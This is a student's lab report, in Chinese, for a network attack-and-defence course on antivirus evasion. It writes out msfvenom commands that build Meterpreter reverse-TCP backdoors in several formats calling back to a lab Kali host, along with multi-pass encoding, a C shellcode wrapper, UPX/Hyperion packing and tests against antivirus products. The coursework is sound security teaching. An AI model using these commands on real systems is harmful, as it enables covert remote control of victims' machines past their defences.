20222321 2024-2025-1 《网络与系统攻防技术》实验三实验报告
一.实验要求
1.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.问题回答
(1)杀软是如何检测出恶意代码的?
一、基于特征码的检测 二、启发式恶意软件检测 三、基于行为的恶意软件检测
(2)免杀是做什么?
免杀,全称为反杀毒技术,是一种能使病毒木马免于被杀毒软件查杀的技术
(3)免杀的基本方法有哪些?
免杀的基本方法有加壳、ShellCode混淆加密、分离免杀(远程加载)、修改文件特征、白加黑(白名单程序执行恶意样本)等。
二.实验过程
主机的IP:192.168.32.1
kali的IP:192.168.58.160
1、msf免杀方法测试
(1)通过编辑器msf生成一个后门程序,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.160 PORT=2321 -f exe > 20222321tky_1.exe
(2)使用msfvenom指令生成一个后门,并多次编码,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.58.160 LPORT=2321 -f exe > 20222321tky_2.exe
(3)生成一个jar文件,命令如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.58.160 LPORT=2321 -f jar > 20222321tky_3.jar
(4)生成一个php文件,命令如下:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.58.160 LPORT=2321 x> 20222321tky_4.php
(5)生成一个py文件,命令如下:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.58.160 LPORT=2321 -f py > 20222321tky_5.py
生成的文件如图:
(6)虚拟机登录Virus Total网站,进行恶意代码检测,结果如图:
20222321tky_1.exe
20222321tky_2.exe
20222321tky_3.jar
20222321tky_4.php
20222321tky_5.py
2、veil免杀方法测试
(1)下载veil,代码如下:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32
如图:
接着输入:
apt-get install veil
sudo su
cd /usr/share/veil/config/
vim setup.sh
找到如下图所示的位置,进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,退出
安装veil
发现报错:
输入sudo /usr/share/veil/config/setup.sh --force --silent,继续进行安装
还是报错,尝试重装虚拟机,还是报错,寄~
3.使用C + shellcode编程
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.160 LPORT=2321 -f c来生成一段shellcode
输入touch 20222321tky.c新建一个.c文件,输入vim 20222321tky.c进行编辑,将生成的shellcoded代码进行复制并添加如下代码:
输入:wq进行保存
输入i686-w64-mingw32-g++ 20222321tky.c -o 20222321shellcode.exe编译.c文件
虚拟机登录Virus Total网站,进行免杀效果检测:
4.加壳
输入upx 20222321shellcode.exe -o upx20222321.exe进行upx加壳:
验证upx20222321.exe的·免杀效果:
进入到hyperion文件,将20222321_veil.exe复制于此
输入wine hyperion.exe -v 20222321_veil.exe 20222321_veil_jiami.exe进行hyperion加壳:
在virustotal软件中验证免杀效果:
5.启动杀毒软件,查看生成后门软件免杀效果
在虚拟机中输入service ssh status查看服务状态,接着输入service ssh start开启服务:
使用Winscp软件连接虚拟机:
将之前生成的后门文件传到windows的BACKDOOR文件夹中,并用360安全卫士进行查杀:
6.通过组合应用各种技术实现恶意代码免杀
使用技术:C + shellcode编程
生成一段shellcode,代码如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.160 LPORT=2321 -f c
编写C程序:
转化为exe文件:
在virustotal验证免杀效果:
7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
主机版本:windows 10 家庭版
杀软版本:联想安全管家,版本5.1.70.5101
执行生成的文件:
三.问题与解决方案
问题一:windows通过winscp直接连接kali无法连上
解决:1.在kali虚拟机中输入“service ssh status”查看服务状态
2.输入“service ssh start”开启服务,如图,成功开启
之后成功连上
问题二:在实验过程中kali虚拟机磁盘内存不够,如图:
解决:1.在虚拟机设置中硬盘选项对磁盘容量进行扩展
2.打开虚拟机,执行命令gparted
3.将中间的分区 /dev/sda2和/dev/sda5删除
4.调整主分区大小
调整后如下:
输入sudo blkid查看真实UUID,输入sudo vim /etc/fstab 将真实UUID替换,输入sudo fdisk -l查看发现扩容成功
四.学习感悟、思考等
.通过此次实验,我了解并掌握了免杀的基本原理以及实现,包括veil的使用、加壳、c+shellcode编程等
.实验过程中遇到虚拟机磁盘空间不足的问题,通过查询CSDN成功解决
.掌握了windows通过winscp连接kali虚拟机的方法